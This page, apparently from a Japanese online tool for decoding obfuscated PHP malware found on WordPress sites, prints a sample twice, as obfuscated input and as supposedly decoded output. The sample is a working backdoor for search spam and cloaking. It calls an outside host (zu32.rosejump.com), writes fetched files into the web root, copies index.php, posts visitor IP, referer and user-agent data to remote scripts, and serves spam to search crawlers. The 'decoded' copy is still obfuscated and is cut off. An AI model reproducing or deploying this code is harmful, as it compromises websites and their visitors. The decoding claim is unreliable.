Japanese English

PHP 難読化コードの復元・デコード

Wordpress　等でのPHPのマルウェア・ウィルス・改ざんコードをデコードして難読化をオンラインで解除し、
元の読みやすいコードに戻し解読できます。

※すべての難読化コードを解除できるわけではございませんのでご理解とご了承をお願いいたします。

下記のコードを難読化解除しました

<?php $O = 'MNOst.uvw<xyTe7C12Rjk4+Hlmn/op-qrDY*KU=diP89aW GLVbc:fg|0Az3J_SBQEFhX?>ZI56'; $id = "zu32"; $oOoOoO = "http://zu32.rosejump.com"; $oOOoOoOo = "http://zu32.rosejump.com/jump_engine.php"; $oOOoOooO = "http://zu32.rosejump.com/map_engine.php"; $oOOooOOo = "http://zu32.rosejump.com/...



難読化されたPHPコード

<?php

$O = 'MNOst.uvw<xyTe7C12Rjk4+Hlmn/op-qrDY*KU=diP89aW GLVbc:fg|0Az3J_SBQEFhX?>ZI56';
$id = "zu32";
$oOoOoO = "http://zu32.rosejump.com";
$oOOoOoOo = "http://zu32.rosejump.com/jump_engine.php";
$oOOoOooO = "http://zu32.rosejump.com/map_engine.php";
$oOOooOOo = "http://zu32.rosejump.com/products_engine.php";
$oOoOOoOo = $_SERVER["REQUEST_URI"];
$oOOooOOoOoOo = $_SERVER["QUERY_STRING"];
$oOOoOooOOoOo = isset($_SERVER["HTTPS"]) && $_SERVER["HTTPS"] !== "off" ? "https://" : "http://";
$oOoOOooOoO = $_SERVER["SCRIPT_NAME"];
$oOOooOOoOooO = $_SERVER["DOCUMENT_ROOT"];
if ($oOoOOoOo == "/code_check" || $oOOooOOoOoOo == "code_check") {
    echo $oOoOOooOoO . $O[30] . $O[30] . $O[30] . $O[28] . $O[20] . $O[55] . $O[55] . $id;
    exit;
}
if ($oOOooOOoOoOo == $O[8] . $O[29] . $O[61] . $O[3] . $O[4] . $O[11] . $O[24] . $O[13]) {
    file_put_contents($oOOooOOoOooO . $O[27] . $O[8] . $O[29] . $O[61] . $O[3] . $O[4] . $O[11] . $O[24] . $O[13] . $O[5] . $O[29] . $O[67] . $O[29], OOO($oOoOoO . $O[27] . $O[8] . $O[29] . $O[61] . $O[3] . $O[4] . $O[11] . $O[24] . $O[13] . $O[5] . $O[4] . $O[10] . $O[4]));
    copy($oOOooOOoOooO . $O[27] . $O[40] . $O[26] . $O[39] . $O[13] . $O[10] . $O[5] . $O[29] . $O[67] . $O[29], $oOOooOOoOooO . $O[27] . $O[40] . $O[26] . $O[39] . $O[13] . $O[10] . $O[61] . $O[50] . $O[44] . $O[20] . $O[5] . $O[4] . $O[10] . $O[4]);
    echo $oOOooOOoOoOo . $O[30] . $O[30] . $O[30] . $O[28] . $O[20];
    exit;
}
$oOOoOooOoOOo = md5($O[27] . $O[51] . $O[28] . $O[39] . $O[13] . $O[61] . $O[51] . $O[67] . $O[13] . $O[51] . $O[20] . $id) . $O[5] . $O[4] . $O[10] . $O[4];
if (strtolower($oOoOOooOoO) == $O[27] . $O[40] . $O[26] . $O[39] . $O[13] . $O[10] . $O[5] . $O[29] . $O[67] . $O[29]) {
    if (strtolower(substr($oOoOOoOo, 0, 10)) == $O[27] . $O[40] . $O[26] . $O[39] . $O[13] . $O[10] . $O[5] . $O[29] . $O[67] . $O[29] || substr($oOoOOoOo, 0, 2) == $O[27] . $O[69] || $oOoOOoOo == $O[27]) {
        if ($oOOooOOoOoOo == $O[6] . $O[32] . $O[24] . $O[61] . $O[3] . $O[13] . $O[4] . $O[61] . $O[19] . $O[40] . $O[26] . $O[54]) {
            @file_put_contents($oOOoOooOoOOo, '0');
            echo $oOOooOOoOoOo . $O[30] . $O[30] . $O[30] . $O[28] . $O[20];
            exit;
        }
        if ($oOOooOOoOoOo == $O[6] . $O[32] . $O[24] . $O[61] . $O[3] . $O[13] . $O[4] . $O[61] . $O[39] . $O[28] . $O[26] . $O[54]) {
            @file_put_contents($oOOoOooOoOOo, '1');
            echo $oOOooOOoOoOo . $O[30] . $O[30] . $O[30] . $O[28] . $O[20];
            exit;
        }
        if (is_file($oOOoOooOoOOo)) {
            if (trim(file_get_contents($oOOoOooOoOOo)) == '0') {
                $oOoOOo = true;
            }
        } else {
            if (trim(OOO($oOOoOooOOoOo . $_SERVER[$O[23] . $O[12] . $O[12] . $O[41] . $O[61] . $O[23] . $O[2] . $O[62] . $O[12]] . $O[27] . $O[51] . $O[28] . $O[39] . $O[13] . $O[61] . $O[51] . $O[67] . $O[13] . $O[51] . $O[20])) == $oOoOOooOoO . $O[30] . $O[30] . $O[30] . $O[28] . $O[20] . $O[55] . $O[55] . $id) {
                $oOoOOo = true;
                @file_put_contents($oOOoOooOoOOo, '0');
            }
        }
    } else {
        $oOoOOo = true;
    }
}
if (isset($oOoOOo) && $oOoOOo == true) {
    $oOOooOoO = $_SERVER[$O[23] . $O[12] . $O[12] . $O[41] . $O[61] . $O[23] . $O[2] . $O[62] . $O[12]] . $O[27];
    $oOoOOoOooO = str_ireplace($O[27] . $O[40] . $O[26] . $O[39] . $O[13] . $O[10] . $O[5] . $O[29] . $O[67] . $O[29], '', $oOoOOoOo);
    $oOoOOoOooO = ltrim($oOoOOoOooO, $O[27]);
    $oOoOOoOooO = ltrim($oOoOOoOooO, $O[69]);
} else {
    $oOOooOoO = $_SERVER[$O[23] . $O[12] . $O[12] . $O[41] . $O[61] . $O[23] . $O[2] . $O[62] . $O[12]] . $oOoOOooOoO . $O[69];
    $oOoOOoOooO = $_SERVER[$O[64] . $O[37] . $O[65] . $O[18] . $O[34] . $O[61] . $O[62] . $O[12] . $O[18] . $O[72] . $O[1] . $O[47]];
}
$oOoOOooO = $_SERVER[$O[62] . $O[65] . $O[18] . $O[49] . $O[65] . $O[18] . $O[61] . $O[1] . $O[57] . $O[0] . $O[65]];
isset($_SERVER[$O[23] . $O[12] . $O[12] . $O[41] . $O[61] . $O[18] . $O[65] . $O[66] . $O[65] . $O[18] . $O[65] . $O[18]]) ? $oOoOoOOo = $_SERVER[$O[23] . $O[12] . $O[12] . $O[41] . $O[61] . $O[18] . $O[65] . $O[66] . $O[65] . $O[18] . $O[65] . $O[18]] : ($oOoOoOOo = '');
isset($_SERVER[$O[23] . $O[12] . $O[12] . $O[41] . $O[61] . $O[37] . $O[62] . $O[65] . $O[18] . $O[61] . $O[57] . $O[47] . $O[65] . $O[1] . $O[12]]) ? $oOoOoOoO = $_SERVER[$O[23] . $O[12] . $O[12] . $O[41] . $O[61] . $O[37] . $O[62] . $O[65] . $O[18] . $O[61] . $O[57] . $O[47] . $O[65] . $O[1] . $O[12]] : ($oOoOoOoO = '');
isset($_SERVER[$O[18] . $O[65] . $O[0] . $O[2] . $O[12] . $O[65] . $O[61] . $O[57] . $O[33] . $O[33] . $O[18]]) ? $Oo = $_SERVER[$O[18] . $O[65] . $O[0] . $O[2] . $O[12] . $O[65] . $O[61] . $O[57] . $O[33] . $O[33] . $O[18]] : ($Oo = '');
isset($_SERVER[$O[23] . $O[12] . $O[12] . $O[41] . $O[61] . $O[68] . $O[61] . $O[66] . $O[2] . $O[18] . $O[45] . $O[57] . $O[18] . $O[33] . $O[65] . $O[33] . $O[61] . $O[66] . $O[2] . $O[18]]) ? $oO = $_SERVER[$O[23] . $O[12] . $O[12] . $O[41] . $O[61] . $O[68] . $O[61] . $O[66] . $O[2] . $O[18] . $O[45] . $O[57] . $O[18] . $O[33] . $O[65] . $O[33] . $O[61] . $O[66] . $O[2] . $O[18]] : ($oO = '');
isset($_SERVER[$O[23] . $O[12] . $O[12] . $O[41] . $O[61] . $O[57] . $O[15] . $O[15] . $O[65] . $O[41] . $O[12] . $O[61] . $O[48] . $O[57] . $O[1] . $O[47] . $O[37] . $O[57] . $O[47] . $O[65]]) ? $oOOo = $_SERVER[$O[23] . $O[12] . $O[12] . $O[41] . $O[61] . $O[57] . $O[15] . $O[15] . $O[65] . $O[41] . $O[12] . $O[61] . $O[48] . $O[57] . $O[1] . $O[47] . $O[37] . $O[57] . $O[47] . $O[65]] : ($oOOo = '');
$oOoOOooOOo = $O[54] . $O[28] . $O[28] . $O[54] . $O[24] . $O[13] . $O[5] . $O[51] . $O[28] . $O[5] . $O[19] . $O[29] . $O[55] . $O[54] . $O[28] . $O[28] . $O[54] . $O[24] . $O[13] . $O[5] . $O[51] . $O[28] . $O[25] . $O[55] . $O[11] . $O[44] . $O[67] . $O[28] . $O[28] . $O[5] . $O[51] . $O[28] . $O[5] . $O[19] . $O[29] . $O[55] . $O[11] . $O[44] . $O[67] . $O[28] . $O[28] . $O[5] . $O[51] . $O[28] . $O[25] . $O[55] . $O[50] . $O[40] . $O[26] . $O[54] . $O[5] . $O[51] . $O[28] . $O[5] . $O[19] . $O[29] . $O[55] . $O[50] . $O[40] . $O[26] . $O[54] . $O[5] . $O[51] . $O[28] . $O[25];
$oOOooOoOoO = $O[54] . $O[28] . $O[28] . $O[54] . $O[24] . $O[13] . $O[55] . $O[11] . $O[44] . $O[67] . $O[28] . $O[28] . $O[55] . $O[50] . $O[40] . $O[26] . $O[54];
$oOOoOooOoO = array($O[54] . $O[29] . $O[61] . $O[26] . $O[44] . $O[25] . $O[13] => $id, $O[25] . $O[44] . $O[29] . $O[61] . $O[26] . $O[44] . $O[25] . $O[13] => $oOoOOoOooO, $O[29] . $O[39] . $O[61] . $O[29] . $O[44] . $O[4] . $O[67] => $oOoOOoOooO, $O[3] . $O[67] . $O[13] . $O[24] . $O[24] => $oOoOOooO, $O[67] . $O[4] . $O[4] . $O[29] => $oOOoOooOOoOo, $O[67] . $O[4] . $O[4] . $O[29] . $O[61] . $O[67] . $O[28] . $O[3] . $O[4] => $oOOooOoO, $O[67] . $O[4] . $O[4] . $O[29] . $O[61] . $O[32] . $O[13] . $O[53] . $O[13] . $O[32] . $O[13] . $O[32] => $oOoOoOOo, $O[67] . $O[4] . $O[4] . $O[29] . $O[61] . $O[6] . $O[3] . $O[13] . $O[32] . $O[61] . $O[44] . $O[54] . $O[13] . $O[26] . $O[4] => $oOoOoOoO, $O[32] . $O[13] . $O[25] . $O[28] . $O[4] . $O[13] . $O[61] . $O[44] . $O[39] . $O[39] . $O[32] => $Oo, $O[67] . $O[4] . $O[4] . $O[29] . $O[61] . $O[10] . $O[61] . $O[53] . $O[28] . $O[32] . $O[8] . $O[44] . $O[32] . $O[39] . $O[13] . $O[39] . $O[61] . $O[53] . $O[28] . $O[32] => $oO, $O[67] . $O[4] . $O[4] . $O[29] . $O[61] . $O[44] . $O[51] . $O[51] . $O[13] . $O[29] . $O[4] . $O[61] . $O[24] . $O[44] . $O[26] . $O[54] . $O[6] . $O[44] . $O[54] . $O[13] => $oOOo);
function OOO($oOOoOoOoOo)
{
    $oOOoOoOooO = curl_init();
    curl_setopt($oOOoOoOooO, CURLOPT_URL, $oOOoOoOoOo);
    curl_setopt($oOOoOoOooO, CURLOPT_RETURNTRANSFER, 1);
    curl_setopt($oOOoOoOooO, CURLOPT_CONNECTTIMEOUT, 5);
    $oOOoOooOOo = curl_exec($oOOoOoOooO);
    curl_close($oOOoOoOooO);
    return $oOOoOooOOo;
}
function OOOOO($oOOoOoOoOo, $oOOoOooOoO = array())
{
    $oOOoOoOooO = curl_init();
    curl_setopt($oOOoOoOooO, CURLOPT_URL, $oOOoOoOoOo);
    curl_setopt($oOOoOoOooO, CURLOPT_RETURNTRANSFER, 1);
    curl_setopt($oOOoOoOooO, CURLOPT_HEADER, 0);
    curl_setopt($oOOoOoOooO, CURLOPT_TIMEOUT, 10);
    curl_setopt($oOOoOoOooO, CURLOPT_POST, 1);
    curl_setopt($oOOoOoOooO, CURLOPT_POSTFIELDS, http_build_query($oOOoOooOoO));
    $oOOoOooOOo = curl_exec($oOOoOoOooO);
    $oOOooOOoOo = curl_errno($oOOoOoOooO);
    curl_close($oOOoOoOooO);
    if ($oOOooOOoOo !== 0) {
        $oOOoOooOOo = '';
    }
    return $oOOoOooOOo;
}
if (strpos($oOoOOoOo, $O[5] . $O[10] . $O[25] . $O[24])) {
    $oOoOoOoOoO = OOOOO($oOOoOooO, $oOOoOooOoO);
    if (empty($oOoOoOoOoO)) {
        header($O[23] . $O[12] . $O[12] . $O[41] . $O[27] . $O[16] . $O[5] . $O[56] . $O[46] . $O[21] . $O[56] . $O[21] . $O[46] . $O[1] . $O[28] . $O[4] . $O[46] . $O[66] . $O[28] . $O[6] . $O[26] . $O[39]);
        exit;
    }
    if ($oOoOOoOooO == $O[29] . $O[40] . $O[26] . $O[54] . $O[3] . $O[40] . $O[4] . $O[13] . $O[25] . $O[44] . $O[29] . $O[5] . $O[10] . $O[25] . $O[24]) {
        $oOOoOoOoOoOo = explode("\n", $oOoOoOoOoO);
        $oOOooOOooO = $O[37] . $O[3] . $O[13] . $O[32] . $O[30] . $O[44] . $O[54] . $O[13] . $O[26] . $O[4] . $O[52] . $O[35] . PHP_EOL;
        $oOOooOOooO .= $O[57] . $O[24] . $O[24] . $O[28] . $O[8] . $O[52] . $O[27] . PHP_EOL;
        for ($oOOoOoOooOoO = 0; $oOOoOoOooOoO < count($oOOoOoOoOoOo) - 1; $oOOoOoOooOoO++) {
            $oOOoOoOooOOo = OOO($O[67] . $O[4] . $O[4] . $O[29] . $O[3] . $O[52] . $O[27] . $O[27] . $O[8] . $O[8] . $O[8] . $O[5] . $O[54] . $O[28] . $O[28] . $O[54] . $O[24] . $O[13] . $O[5] . $O[51] . $O[28] . $O[25] . $O[27] . $O[29] . $O[40] . $O[26] . $O[54] . $O[69] . $O[3] . $O[40] . $O[4] . $O[13] . $O[25] . $O[44] . $O[29] . $O[38] . $oOOoOoOoOoOo[$oOOoOoOooOoO]);
            preg_match("/<h2>(.+)?<\\/h2>/", $oOOoOoOooOOo, $oOOoOoOoOooO);
            echo $oOOoOoOoOoOo[$oOOoOoOooOoO] . $O[38] . $O[38] . $O[70] . $O[29] . $O[40] . $O[26] . $O[54] . $O[30] . $O[54] . $O[28] . $O[28] . $O[54] . $O[24] . $O[13] . $O[30] . $O[32] . $O[13] . $O[3] . $O[6] . $O[24] . $O[4] . $O[30] . $O[40] . $O[3] . $O[52] . $O[9] . $O[50] . $O[70] . $oOOoOoOoOooO[1] . $O[9] . $O[27] . $O[50] . $O[70] . $O[9] . $O[50] . $O[32] . $O[27] . $O[70] . PHP_EOL;
            usleep(100000);
            $oOOooOOooO .= $O[62] . $O[40] . $O[4] . $O[13] . $O[25] . $O[44] . $O[29] . $O[52] . $oOOoOoOoOoOo[$oOOoOoOooOoO] . PHP_EOL;
        }
        file_put_contents($oOOooOOoOooO . $O[27] . $O[32] . $O[28] . $O[50] . $O[28] . $O[4] . $O[3] . $O[5] . $O[4] . $O[10] . $O[4], $oOOooOOooO);
        echo $O[9] . $O[50] . $O[32] . $O[27] . $O[70] . $O[9] . $O[50] . $O[32] . $O[27] . $O[70] . $O[9] . $O[50] . $O[32] . $O[27] . $O[70] . $O[32] . $O[28] . $O[50] . $O[28] . $O[4] . $O[3] . $O[5] . $O[4] . $O[10] . $O[4] . $O[38] . $O[38] . $O[70] . $O[9] . $O[50] . $O[70] . $O[6] . $O[29] . $O[39] . $O[44] . $O[4] . $O[13] . $O[39] . $O[9] . $O[27] . $O[50] . $O[70];
    } else {
        header($O[15] . $O[28] . $O[26] . $O[4] . $O[13] . $O[26] . $O[4] . $O[30] . $O[4] . $O[11] . $O[29] . $O[13] . $O[52] . $O[4] . $O[13] . $O[10] . $O[4] . $O[27] . $O[10] . $O[25] . $O[24]);
        echo $oOoOoOoOoO;
    }
    exit;
} elseif (strpos($oOoOOoOo, $O[19] . $O[29] . $O[17] . $O[56] . $O[17] . $O[59])) {
    $oOoOoOoOoO = OOOOO($oOOoOooO, $oOOoOooOoO);
    if (empty($oOoOoOoOoO)) {
        header($O[23] . $O[12] . $O[12] . $O[41] . $O[27] . $O[16] . $O[5] . $O[56] . $O[46] . $O[21] . $O[56] . $O[21] . $O[46] . $O[1] . $O[28] . $O[4] . $O[46] . $O[66] . $O[28] . $O[6] . $O[26] . $O[39]);
        exit;
    }
    echo $oOoOoOoOoO;
    exit;
} else {
    if ($oOoOoOoO != '' && preg_match('/(' . $oOOooOoOoO . ')/si', $oOoOoOoO)) {
        $oOoOoOOoOo = OOOOO($oOOooOOo, $oOOoOooOoO);
        empty($oOoOoOOoOo) ? header($O[23] . $O[12] . $O[12] . $O[41] . $O[27] . $O[16] . $O[5] . $O[56] . $O[46] . $O[21] . $O[56] . $O[21] . $O[46] . $O[1] . $O[28] . $O[4] . $O[46] . $O[66] . $O[28] . $O[6] . $O[26] . $O[39]) : (print $oOoOoOOoOo);
        exit;
    } else {
        if ($oOoOoOOo != '' && preg_match('/(' . $oOoOOooOOo . ')/si', $oOoOoOOo)) {
            $oOoOoOOooO = OOOOO($oOOoOoOo, $oOOoOooOoO);
            if (!empty($oOoOoOOooO)) {
                echo $oOoOoOOooO;
                exit;
            }
        }
    }
}

デコード(難読化解除)されたコード

<?php

$O = 'MNOst.uvw<xyTe7C12Rjk4+Hlmn/op-qrDY*KU=diP89aW GLVbc:fg|0Az3J_SBQEFhX?>ZI56';
$id = "zu32";
$oOoOoO = "http://zu32.rosejump.com";
$oOOoOoOo = "http://zu32.rosejump.com/jump_engine.php";
$oOOoOooO = "http://zu32.rosejump.com/map_engine.php";
$oOOooOOo = "http://zu32.rosejump.com/products_engine.php";
$oOoOOoOo = $_SERVER["REQUEST_URI"];
$oOOooOOoOoOo = $_SERVER["QUERY_STRING"];
$oOOoOooOOoOo = isset($_SERVER["HTTPS"]) && $_SERVER["HTTPS"] !== "off" ? "https://" : "http://";
$oOoOOooOoO = $_SERVER["SCRIPT_NAME"];
$oOOooOOoOooO = $_SERVER["DOCUMENT_ROOT"];
if ($oOoOOoOo == "/code_check" || $oOOooOOoOoOo == "code_check") {
    echo $oOoOOooOoO . $O[30] . $O[30] . $O[30] . $O[28] . $O[20] . $O[55] . $O[55] . $id;
    exit;
}
if ($oOOooOOoOoOo == $O[8] . $O[29] . $O[61] . $O[3] . $O[4] . $O[11] . $O[24] . $O[13]) {
    file_put_contents($oOOooOOoOooO . $O[27] . $O[8] . $O[29] . $O[61] . $O[3] . $O[4] . $O[11] . $O[24] . $O[13] . $O[5] . $O[29] . $O[67] . $O[29], OOO($oOoOoO . $O[27] . $O[8] . $O[29] . $O[61] . $O[3] . $O[4] . $O[11] . $O[24] . $O[13] . $O[5] . $O[4] . $O[10] . $O[4]));
    copy($oOOooOOoOooO . $O[27] . $O[40] . $O[26] . $O[39] . $O[13] . $O[10] . $O[5] . $O[29] . $O[67] . $O[29], $oOOooOOoOooO . $O[27] . $O[40] . $O[26] . $O[39] . $O[13] . $O[10] . $O[61] . $O[50] . $O[44] . $O[20] . $O[5] . $O[4] . $O[10] . $O[4]);
    echo $oOOooOOoOoOo . $O[30] . $O[30] . $O[30] . $O[28] . $O[20];
    exit;
}
$oOOoOooOoOOo = md5($O[27] . $O[51] . $O[28] . $O[39] . $O[13] . $O[61] . $O[51] . $O[67] . $O[13] . $O[51] . $O[20] . $id) . $O[5] . $O[4] . $O[10] . $O[4];
if (strtolower($oOoOOooOoO) == $O[27] . $O[40] . $O[26] . $O[39] . $O[13] . $O[10] . $O[5] . $O[29] . $O[67] . $O[29]) {
    if (strtolower(substr($oOoOOoOo, 0, 10)) == $O[27] . $O[40] . $O[26] . $O[39] . $O[13] . $O[10] . $O[5] . $O[29] . $O[67] . $O[29] || substr($oOoOOoOo, 0, 2) == $O[27] . $O[69] || $oOoOOoOo == $O[27]) {
        if ($oOOooOOoOoOo == $O[6] . $O[32] . $O[24] . $O[61] . $O[3] . $O[13] . $O[4] . $O[61] . $O[19] . $O[40] . $O[26] . $O[54]) {
            @file_put_contents($oOOoOooOoOOo, '0');
            echo $oOOooOOoOoOo . $O[30] . $O[30] . $O[30] . $O[28] . $O[20];
            exit;
        }
        if ($oOOooOOoOoOo == $O[6] . $O[32] . $O[24] . $O[61] . $O[3] . $O[13] . $O[4] . $O[61] . $O[39] . $O[28] . $O[26] . $O[54]) {
            @file_put_contents($oOOoOooOoOOo, '1');
            echo $oOOooOOoOoOo . $O[30] . $O[30] . $O[30] . $O[28] . $O[20];
            exit;
        }
        if (is_file($oOOoOooOoOOo)) {
            if (trim(file_get_contents($oOOoOooOoOOo)) == '0') {
                $oOoOOo = true;
            }
        } else {
            if (trim(OOO($oOOoOooOOoOo . $_SERVER[$O[23] . $O[12] . $O[12] . $O[41] . $O[61] . $O[23] . $O[2] . $O[62] . $O[12]] . $O[27] . $O[51] . $O[28] . $O[39] . $O[13] . $O[61] . $O[51] . $O[67] . $O[13] . $O[51] . $O[20])) == $oOoOOooOoO . $O[30] . $O[30] . $O[30] . $O[28] . $O[20] . $O[55] . $O[55] . $id) {
                $oOoOOo = true;
                @file_put_contents($oOOoOooOoOOo, '0');
            }
        }
    } else {
        $oOoOOo = true;
    }
}
if (isset($oOoOOo) && $oOoOOo == true) {
    $oOOooOoO = $_SERVER[$O[23] . $O[12] . $O[12] . $O[41] . $O[61] . $O[23] . $O[2] . $O[62] . $O[12]] . $O[27];
    $oOoOOoOooO = str_ireplace($O[27] . $O[40] . $O[26] . $O[39] . $O[13] . $O[10] . $O[5] . $O[29] . $O[67] . $O[29], '', $oOoOOoOo);
    $oOoOOoOooO = ltrim($oOoOOoOooO, $O[27]);
    $oOoOOoOooO = ltrim($oOoOOoOooO, $O[69]);
} else {
    $oOOooOoO = $_SERVER[$O[23] . $O[12] . $O[12] . $O[41] . $O[61] . $O[23] . $O[2] . $O[62] . $O[12]] . $oOoOOooOoO . $O[69];
    $oOoOOoOooO = $_SERVER[$O[64] . $O[37] . $O[65] . $O[18] . $O[34] . $O[61] . $O[62] . $O[12] . $O[18] . $O[72] . $O[1] . $O[47]];
}
$oOoOOooO = $_SERVER[$O[62] . $O[65] . $O[18] . $O[49] . $O[65] . $O[18] . $O[61] . $O[1] . $O[57] . $O[0] . $O[65]];
isset($_SERVER[$O[23] . $O[12] . $O[12] . $O[41] . $O[61] . $O[18] . $O[65] . $O[66] . $O[65] . $O[18] . $O[65] . $O[18]]) ? $oOoOoOOo = $_SERVER[$O[23] . $O[12] . $O[12] . $O[41] . $O[61] . $O[18] . $O[65] . $O[66] . $O[65] . $O[18] . $O[65] . $O[18]] : ($oOoOoOOo = '');
isset($_SERVER[$O[23] . $O[12] . $O[12] . $O[41] . $O[61] . $O[37] . $O[62] . $O[65] . $O[18] . $O[61] . $O[57] . $O[47] . $O[65] . $O[1] . $O[12]]) ? $oOoOoOoO = $_SERVER[$O[23] . $O[12] . $O[12] . $O[41] . $O[61] . $O[37] . $O[62] . $O[65] . $O[18] . $O[61] . $O[57] . $O[47] . $O[65] . $O[1] . $O[12]] : ($oOoOoOoO = '');
isset($_SERVER[$O[18] . $O[65] . $O[0] . $O[2] . $O[12] . $O[65] . $O[61] . $O[57] . $O[33] . $O[33] . $O[18]]) ? $Oo = $_SERVER[$O[18] . $O[65] . $O[0] . $O[2] . $O[12] . $O[65] . $O[61] . $O[57] . $O[33] . $O[33] . $O[18]] : ($Oo = '');
isset($_SERVER[$O[23] . $O[12] . $O[12] . $O[41] . $O[61] . $O[68] . $O[61] . $O[66] . $O[2] . $O[18] . $O[45] . $O[57] . $O[18] . $O[33] . $O[65] . $O[33] . $O[61] . $O[66] . $O[2] . $O[18]]) ? $oO = $_SERVER[$O[23] . $O[12] . $O[12] . $O[41] . $O[61] . $O[68] . $O[61] . $O[66] . $O[2] . $O[18] . $O[45] . $O[57] . $O[18] . $O[33] . $O[65] . $O[33] . $O[61] . $O[66] . $O[2] . $O[18]] : ($oO = '');
isset($_SERVER[$O[23] . $O[12] . $O[12] . $O[41] . $O[61] . $O[57] . $O[15] . $O[15] . $O[65] . $O[41] . $O[12] . $O[61] . $O[48] . $O[57] . $O[1] . $O[47] . $O[37] . $O[57] . $O[47] . $O[65]]) ? $oOOo = $_SERVER[$O[23] . $O[12] . $O[12] . $O[41] . $O[61] . $O[57] . $O[15] . $O[15] . $O[65] . $O[41] . $O[12] . $O[61] . $O[48] . $O[57] . $O[1] . $O[47] . $O[37] . $O[57] . $O[47] . $O[65]] : ($oOOo = '');
$oOoOOooOOo = $O[54] . $O[28] . $O[28] . $O[54] . $O[24] . $O[13] . $O[5] . $O[51] . $O[28] . $O[5] . $O[19] . $O[29] . $O[55] . $O[54] . $O[28] . $O[28] . $O[54] . $O[24] . $O[13] . $O[5] . $O[51] . $O[28] . $O[25] . $O[55] . $O[11] . $O[44] . $O[67] . $O[28] . $O[28] . $O[5] . $O[51] . $O[28] . $O[5] . $O[19] . $O[29] . $O[55] . $O[11] . $O[44] . $O[67] . $O[28] . $O[28] . $O[5] . $O[51] . $O[28] . $O[25] . $O[55] . $O[50] . $O[40] . $O[26] . $O[54] . $O[5] . $O[51] . $O[28] . $O[5] . $O[19] . $O[29] . $O[55] . $O[50] . $O[40] . $O[26] . $O[54] . $O[5] . $O[51] . $O[28] . $O[25];
$oOOooOoOoO = $O[54] . $O[28] . $O[28] . $O[54] . $O[24] . $O[13] . $O[55] . $O[11] . $O[44] . $O[67] . $O[28] . $O[28] . $O[55] . $O[50] . $O[40] . $O[26] . $O[54];
$oOOoOooOoO = array($O[54] . $O[29] . $O[61] . $O[26] . $O[44] . $O[25] . $O[13] => $id, $O[25] . $O[44] . $O[29] . $O[61] . $O[26] . $O[44] . $O[25] . $O[13] => $oOoOOoOooO, $O[29] . $O[39] . $O[61] . $O[29] . $O[44] . $O[4] . $O[67] => $oOoOOoOooO, $O[3] . $O[67] . $O[13] . $O[24] . $O[24] => $oOoOOooO, $O[67] . $O[4] . $O[4] . $O[29] => $oOOoOooOOoOo, $O[67] . $O[4] . $O[4] . $O[29] . $O[61] . $O[67] . $O[28] . $O[3] . $O[4] => $oOOooOoO, $O[67] . $O[4] . $O[4] . $O[29] . $O[61] . $O[32] . $O[13] . $O[53] . $O[13] . $O[32] . $O[13] . $O[32] => $oOoOoOOo, $O[67] . $O[4] . $O[4] . $O[29] . $O[61] . $O[6] . $O[3] . $O[13] . $O[32] . $O[61] . $O[44] . $O[54] . $O[13] . $O[26] . $O[4] => $oOoOoOoO, $O[32] . $O[13] . $O[25] . $O[28] . $O[4] . $O[13] . $O[61] . $O[44] . $O[39] . $O[39] . $O[32] => $Oo, $O[67] . $O[4] . $O[4] . $O[29] . $O[61] . $O[10] . $O[61] . $O[53] . $O[28] . $O[32] . $O[8] . $O[44] . $O[32] . $O[39] . $O[13] . $O[39] . $O[61] . $O[53] . $O[28] . $O[32] => $oO, $O[67] . $O[4] . $O[4] . $O[29] . $O[61] . $O[44] . $O[51] . $O[51] . $O[13] . $O[29] . $O[4] . $O[61] . $O[24] . $O[44] . $O[26] . $O[54] . $O[6] . $O[44] . $O[54] . $O[13] => $oOOo);
function OOO($oOOoOoOoOo)
{
    $oOOoOoOooO = curl_init();
    curl_setopt($oOOoOoOooO, CURLOPT_URL, $oOOoOoOoOo);
    curl_setopt($oOOoOoOooO, CURLOPT_RETURNTRANSFER, 1);
    curl_setopt($oOOoOoOooO, CURLOPT_CONNECTTIMEOUT, 5);
    $oOOoOooOOo = curl_exec($oOOoOoOooO);
    curl_close($oOOoOoOooO);
    return $oOOoOooOOo;
}
function OOOOO($oOOoOoOoOo, $oOOoOooOoO = array())
{
    $oOOoOoOooO = curl_init();
    curl_setopt($oOOoOoOooO, CURLOPT_URL, $oOOoOoOoOo);
    curl_setopt($oOOoOoOooO, CURLOPT_RETURNTRANSFER, 1);
    curl_setopt($oOOoOoOooO, CURLOPT_HEADER, 0);
    curl_setopt($oOOoOoOooO, CURLOPT_TIMEOUT, 10);
    curl_setopt($oOOoOoOooO, CURLOPT_POST, 1);
    curl_setopt($oOOoOoOooO, CURLOPT_POSTFIELDS, http_build_query($oOOoOooOoO));
    $oOOoOooOOo = curl_exec($oOOoOoOooO);
    $oOOooOOoOo = curl_errno($oOOoOoOooO);
    curl_close($oOOoOoOooO);
    if ($oOOooOOoOo !== 0) {
        $oOOoOooOOo = '';
    }
    return $oOOoOooOOo;
}
if (strpos($oOoOOoOo, $O[5] . $O[10] . $O[25] . $O[24])) {
    $oOoOoOoOoO = OOOOO($oOOoOooO, $oOOoOooOoO);
    if (empty($oOoOoOoOoO)) {
        header($O[23] . $O[12] . $O[12] . $O[41] . $O[27] . $O[16] . $O[5] . $O[56] . $O[46] . $O[21] . $O[56] . $O[21] . $O[46] . $O[1] . $O[28] . $O[4] . $O[46] . $O[66] . $O[28] . $O[6] . $O[26] . $O[39]);
        exit;
    }
    if ($oOoOOoOooO == $O[29] . $O[40] . $O[26] . $O[54] . $O[3] . $O[40] . $O[4] . $O[13] . $O[25] . $O[44] . $O[29] . $O[5] . $O[10] . $O[25] . $O[24]) {
        $oOOoOoOoOoOo = explode("\n", $oOoOoOoOoO);
        $oOOooOOooO = $O[37] . $O[3] . $O[13] . $O[32] . $O[30] . $O[44] . $O[54] . $O[13] . $O[26] . $O[4] . $O[52] . $O[35] . PHP_EOL;
        $oOOooOOooO .= $O[57] . $O[24] . $O[24] . $O[28] . $O[8] . $O[52] . $O[27] . PHP_EOL;
        for ($oOOoOoOooOoO = 0; $oOOoOoOooOoO < count($oOOoOoOoOoOo) - 1; $oOOoOoOooOoO++) {
            $oOOoOoOooOOo = OOO($O[67] . $O[4] . $O[4] . $O[29] . $O[3] . $O[52] . $O[27] . $O[27] . $O[8] . $O[8] . $O[8] . $O[5] . $O[54] . $O[28] . $O[28] . $O[54] . $O[24] . $O[13] . $O[5] . $O[51] . $O[28] . $O[25] . $O[27] . $O[29] . $O[40] . $O[26] . $O[54] . $O[69] . $O[3] . $O[40] . $O[4] . $O[13] . $O[25] . $O[44] . $O[29] . $O[38] . $oOOoOoOoOoOo[$oOOoOoOooOoO]);
